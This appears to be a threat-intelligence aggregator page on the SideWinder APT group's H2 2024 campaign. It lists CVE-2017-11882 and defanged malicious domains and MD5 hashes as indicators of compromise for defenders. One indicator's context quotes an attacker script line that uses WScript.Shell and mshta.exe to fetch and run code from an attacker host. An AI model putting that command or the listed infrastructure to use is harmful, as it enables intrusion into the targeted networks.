Vulnerabilityhigh
SideWinder APT attacks in H2 2024
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2017-11882 | Memory Corruption RCE in Microsoft Office via Legacy Equation Editor | 7.8 | 100% | KEVRansomwarePoC ×10 | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | aliyum.email | m file-dwnld[.]org defencearmy[.]pro document-viewer[.]info aliyum[.]email d0cumentview[.]info debcon[.]live document-viewer[.]live |
| domain | crontec.site | ion-out[.]com zeltech[.]live ziptec[.]info depo-govpk[.]com crontec[.]site mteron[.]info mevron[.]tech veorey[.]live mod-kh[.]info |
| domain | d0cumentview.info | org defencearmy[.]pro document-viewer[.]info aliyum[.]email d0cumentview[.]info debcon[.]live document-viewer[.]live documentviewer[.]inf |
| domain | d0wnlaod.com | dedjibouti[.]live mods[.]email dowmload[.]co downl0ad[.]org d0wnlaod[.]com d0wnlaod[.]org dirctt88[.]info directt88[.]com file-dwnld |
| domain | d0wnlaod.org | ve mods[.]email dowmload[.]co downl0ad[.]org d0wnlaod[.]com d0wnlaod[.]org dirctt88[.]info directt88[.]com file-dwnld[.]org defencea |
| domain | debcon.live | o document-viewer[.]info aliyum[.]email d0cumentview[.]info debcon[.]live document-viewer[.]live documentviewer[.]info ms-office[.] |
| domain | defencearmy.pro | laod[.]org dirctt88[.]info directt88[.]com file-dwnld[.]org defencearmy[.]pro document-viewer[.]info aliyum[.]email d0cumentview[.]info |
| domain | depo-govpk.com | bject('WScript.Shell');gShZVnyR.Run('mshta.exe https://dgtk.depo-govpk[.]com/19263687/trui',0);window.close();" ) The newer version of |
| domain | dirctt888.com | info modpak-info[.]services pmd-offc[.]info dowmloade[.]org dirctt888[.]com portdedjibouti[.]live mods[.]email dowmload[.]co downl0ad |
| domain | dirctt888.info | 93948da5efe Domains and IPs pmd-office[.]info modpak[.]info dirctt888[.]info modpak-info[.]services pmd-offc[.]info dowmloade[.]org di |
| domain | dirctt88.info | dowmload[.]co downl0ad[.]org d0wnlaod[.]com d0wnlaod[.]org dirctt88[.]info directt88[.]com file-dwnld[.]org defencearmy[.]pro docume |
| domain | directt88.com | ownl0ad[.]org d0wnlaod[.]com d0wnlaod[.]org dirctt88[.]info directt88[.]com file-dwnld[.]org defencearmy[.]pro document-viewer[.]info |
| domain | document-viewer.info | 8[.]info directt88[.]com file-dwnld[.]org defencearmy[.]pro document-viewer[.]info aliyum[.]email d0cumentview[.]info debcon[.]live document |
| domain | documentviewer.info | il d0cumentview[.]info debcon[.]live document-viewer[.]live documentviewer[.]info ms-office[.]app ms-office[.]pro pncert[.]info session-out |
| domain | document-viewer.live | wer[.]info aliyum[.]email d0cumentview[.]info debcon[.]live document-viewer[.]live documentviewer[.]info ms-office[.]app ms-office[.]pro pnc |
| domain | dowmload.co | de[.]org dirctt888[.]com portdedjibouti[.]live mods[.]email dowmload[.]co downl0ad[.]org d0wnlaod[.]com d0wnlaod[.]org dirctt88[.]i |
| domain | dowmloade.org | nfo dirctt888[.]info modpak-info[.]services pmd-offc[.]info dowmloade[.]org dirctt888[.]com portdedjibouti[.]live mods[.]email dowmlo |
| domain | downl0ad.org | t888[.]com portdedjibouti[.]live mods[.]email dowmload[.]co downl0ad[.]org d0wnlaod[.]com d0wnlaod[.]org dirctt88[.]info directt88[. |
| domain | file-dwnld.org | wnlaod[.]com d0wnlaod[.]org dirctt88[.]info directt88[.]com file-dwnld[.]org defencearmy[.]pro document-viewer[.]info aliyum[.]email d |
| domain | mevron.tech | ziptec[.]info depo-govpk[.]com crontec[.]site mteron[.]info mevron[.]tech veorey[.]live mod-kh[.]info |
| domain | mod-kh.info | om crontec[.]site mteron[.]info mevron[.]tech veorey[.]live mod-kh[.]info |
| domain | modpak.info | 7d8642076a8b3793948da5efe Domains and IPs pmd-office[.]info modpak[.]info dirctt888[.]info modpak-info[.]services pmd-offc[.]info d |
| domain | modpak-info.services | ns and IPs pmd-office[.]info modpak[.]info dirctt888[.]info modpak-info[.]services pmd-offc[.]info dowmloade[.]org dirctt888[.]com portdedji |
| domain | mods.email | ]info dowmloade[.]org dirctt888[.]com portdedjibouti[.]live mods[.]email dowmload[.]co downl0ad[.]org d0wnlaod[.]com d0wnlaod[.]or |
| domain | ms-office.app | debcon[.]live document-viewer[.]live documentviewer[.]info ms-office[.]app ms-office[.]pro pncert[.]info session-out[.]com zeltech[. |
| domain | ms-office.pro | ocument-viewer[.]live documentviewer[.]info ms-office[.]app ms-office[.]pro pncert[.]info session-out[.]com zeltech[.]live ziptec[.]i |
| domain | mteron.info | eltech[.]live ziptec[.]info depo-govpk[.]com crontec[.]site mteron[.]info mevron[.]tech veorey[.]live mod-kh[.]info |
| domain | pmd-offc.info | ]info modpak[.]info dirctt888[.]info modpak-info[.]services pmd-offc[.]info dowmloade[.]org dirctt888[.]com portdedjibouti[.]live mod |
| domain | pmd-office.info | 7051213c1e 433480f7d8642076a8b3793948da5efe Domains and IPs pmd-office[.]info modpak[.]info dirctt888[.]info modpak-info[.]services pmd |
| domain | pncert.info | ]live documentviewer[.]info ms-office[.]app ms-office[.]pro pncert[.]info session-out[.]com zeltech[.]live ziptec[.]info depo-govpk |
| domain | portdedjibouti.live | [.]services pmd-offc[.]info dowmloade[.]org dirctt888[.]com portdedjibouti[.]live mods[.]email dowmload[.]co downl0ad[.]org d0wnlaod[.]com |
| domain | session-out.com | viewer[.]info ms-office[.]app ms-office[.]pro pncert[.]info session-out[.]com zeltech[.]live ziptec[.]info depo-govpk[.]com crontec[.]s |
| domain | veorey.live | depo-govpk[.]com crontec[.]site mteron[.]info mevron[.]tech veorey[.]live mod-kh[.]info |
| domain | zeltech.live | ffice[.]app ms-office[.]pro pncert[.]info session-out[.]com zeltech[.]live ziptec[.]info depo-govpk[.]com crontec[.]site mteron[.]in |
| domain | ziptec.info | office[.]pro pncert[.]info session-out[.]com zeltech[.]live ziptec[.]info depo-govpk[.]com crontec[.]site mteron[.]info mevron[.]te |
| md5 | 0216ffc6fb679bdf4ea6ee7051213c1e | 12d68ed1c2 f42ba43f7328cbc9ce85b2482809ff1c Backdoor Loader 0216ffc6fb679bdf4ea6ee7051213c1e 433480f7d8642076a8b3793948da5efe Domains and IPs pmd-office |
| md5 | 313f9bbe6dac3edc09fe9ac081950673 | 19487ba9e4e5589a8a5ec2f933 d36a67468d01c4cb789cd6794fb8bc70 313f9bbe6dac3edc09fe9ac081950673 bd8043127abe3f5cfa61bd2174f54c60 e0bce049c71bc81afe172cd30b |
| md5 | 3d9961991e7ae6ad2bae09c475a1bce8 | 49c71bc81afe172cd30be4d2b7 872c2ddf6467b1220ee83dca0e118214 3d9961991e7ae6ad2bae09c475a1bce8 a694ccdb82b061c26c35f612d68ed1c2 f42ba43f7328cbc9ce85b24828 |
| md5 | 433480f7d8642076a8b3793948da5efe | 482809ff1c Backdoor Loader 0216ffc6fb679bdf4ea6ee7051213c1e 433480f7d8642076a8b3793948da5efe Domains and IPs pmd-office[.]info modpak[.]info dirctt888[. |
| md5 | 872c2ddf6467b1220ee83dca0e118214 | 127abe3f5cfa61bd2174f54c60 e0bce049c71bc81afe172cd30be4d2b7 872c2ddf6467b1220ee83dca0e118214 3d9961991e7ae6ad2bae09c475a1bce8 a694ccdb82b061c26c35f612d6 |
| md5 | a694ccdb82b061c26c35f612d68ed1c2 | df6467b1220ee83dca0e118214 3d9961991e7ae6ad2bae09c475a1bce8 a694ccdb82b061c26c35f612d68ed1c2 f42ba43f7328cbc9ce85b2482809ff1c Backdoor Loader 0216ffc6fb |
| md5 | bd8043127abe3f5cfa61bd2174f54c60 | 468d01c4cb789cd6794fb8bc70 313f9bbe6dac3edc09fe9ac081950673 bd8043127abe3f5cfa61bd2174f54c60 e0bce049c71bc81afe172cd30be4d2b7 872c2ddf6467b1220ee83dca0e |
| md5 | d36a67468d01c4cb789cd6794fb8bc70 | Microsoft Office Documents e9726519487ba9e4e5589a8a5ec2f933 d36a67468d01c4cb789cd6794fb8bc70 313f9bbe6dac3edc09fe9ac081950673 bd8043127abe3f5cfa61bd2174 |
| md5 | e0bce049c71bc81afe172cd30be4d2b7 | be6dac3edc09fe9ac081950673 bd8043127abe3f5cfa61bd2174f54c60 e0bce049c71bc81afe172cd30be4d2b7 872c2ddf6467b1220ee83dca0e118214 3d9961991e7ae6ad2bae09c475 |
| md5 | e9726519487ba9e4e5589a8a5ec2f933 | y.com . Indicators of compromise Microsoft Office Documents e9726519487ba9e4e5589a8a5ec2f933 d36a67468d01c4cb789cd6794fb8bc70 313f9bbe6dac3edc09fe9ac081 |
| md5 | f42ba43f7328cbc9ce85b2482809ff1c | 991e7ae6ad2bae09c475a1bce8 a694ccdb82b061c26c35f612d68ed1c2 f42ba43f7328cbc9ce85b2482809ff1c Backdoor Loader 0216ffc6fb679bdf4ea6ee7051213c1e 433480f7d8 |
From the original article
8 min read at securelist.com
Last year, we published an article about SideWinder , a highly prolific APT group whose primary targets have been military and government entities in Pakistan, Sri Lanka, China, and Nepal. In it, we described activities that had mostly happened in the first half of the year.
By @Securelist · securelist.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.